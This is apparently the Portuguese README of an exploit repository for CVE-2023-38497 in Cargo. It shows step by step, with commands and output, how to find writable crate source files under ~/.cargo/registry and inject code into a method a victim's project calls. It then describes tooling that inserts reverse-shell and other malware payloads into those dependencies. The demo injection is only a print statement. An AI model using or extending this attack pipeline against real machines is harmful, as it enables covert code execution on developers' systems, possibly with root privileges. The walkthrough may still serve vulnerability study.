
Cargo exploit from CVE-2023-38497
Uma nova vulnerabilidade na versão 1.7.0 do cargo foi encontrada, conforme explicado aqui.
Primeiro, certifique-se de que sua versão do cargo é vulnerável
cargo --version
Suponha que eu tenha um projeto cargo com o seguinte arquivo src/main.rs:
use num_bigint::BigInt;
use std::str::FromStr;
// Jogo de adivinhação bobo
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Faça um palpite: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Erro ao ler stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("Isso mesmo");
break;
}
}
}
Se eu executar o programa:
cargo run
Faça um palpite:
20
Faça um palpite:
123456789
Isso mesmo!
Nada de errado aqui.
Em seguida, para todas as crates instaladas no seu sistema, filtre aquelas cujas permissões têm má configuração, ou seja, podem ser escritas pelo grupo ou por qualquer outro usuário da máquina
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Isso produzirá uma lista de todos os arquivos fonte Rust vulneráveis. Destes, escolha o arquivo adequado para seu ataque, que deve ser um no qual esteja definido um método usado no código fonte do projeto cargo alvo.
E, a partir da listagem acima, encontro o seguinte arquivo vulnerável:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
Que, como prometido anteriormente, tem as seguintes permissões: -rw-rw-r--
Portanto, pode ser modificado por qualquer usuário no mesmo grupo do proprietário do projeto cargo. Isso é assustador. Mas imagine que qualquer usuário pudesse escrever esse arquivo; bem, existem crates com tais permissões.
Agora você pode adicionar um novo usuário à sua máquina ou usar um já existente, diferente do usuário do projeto, que pertença ao mesmo grupo que o usuário do arquivo que estamos visando. Por exemplo, esse arquivo fonte na minha máquina tem o seguinte proprietário e grupo:
atreides people
e outro usuário que tenho, ao executar o comando id, retorna:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Agora sabemos que o usuário bob pode escrever em nosso arquivo alvo e em qualquer outro com tais permissões. Mude para bob e continue.
Analisando nosso jogo de adivinhação, vemos que está sendo usado o método from_str da struct BigInt. Esse poderia ser um método interessante de se olhar.
Do arquivo alvo, extraí este trecho de código:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
Agora, e se você o transformar nisto:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Mensagem do além");
BigInt::from_str_radix(s, 10)
}
}
E executar novamente, limpando o diretório alvo:
cargo clean && cargo run
Faça um palpite:
20
Mensagem do além
Faça um palpite:
123456789
Mensagem do além
Isso mesmo!
Uau! Imagine que você está escrevendo seu projeto cargo e recebe as seguintes mensagens.
Note que isso só acontecerá quando o diretório alvo tiver sido deletado anteriormente, ou seja, o cargo tem que compilar a crate depois que você modificar o arquivo fonte.
Agora, isso é apenas uma demonstração de como explorar essa vulnerabilidade, mas imagine se você colocar qualquer tipo de payload dentro de um arquivo fonte. Este repositório tem como objetivo estabelecer uma conexão reverse shell com a conta do usuário sempre que ele executar um projeto cargo.
Esta é uma vulnerabilidade grave se você considerar que pode haver instalações do cargo com privilégios de root, então o payload colocado seria executado com tais permissões.
Neste projeto, você encontrará as seguintes utilidades:
Pesquisa no arquivo local de crates do cargo e em um projeto cargo alvo para encontrar todos os métodos específicos que poderiam ser explorados no código fonte do alvo. Se houver um método em particular que você gostaria de explorar ou se você não tiver permissões de leitura no projeto cargo alvo, pule o vanalyzer no pipeline de ataque.
./vanalyzer/run.sh <caminho-do-projeto-alvo> <nome-do-usuário-alvo>
Todos os tipos de payload (principalmente reverse shell e outros malwares) que podem ser colocados dentro do código fonte de uma crate alvo. Todos os payloads disponíveis até agora são:
Shell mock que recebe comandos para executar o analisador de vulnerabilidades e pegar um dos payloads listados acima e um método selecionado para explorar a partir do analisador de vulnerabilidades e integra (copia e cola) o payload no código fonte.
cargo run
vanalyzer <projeto_cargo> <nome_do_usuário_alvo>
integrate <nº_do_arquivo> <nº_do_método> <payload>
exploit <caminho_para_arquivo_crate_local> <nome_do_método> <payload>
ok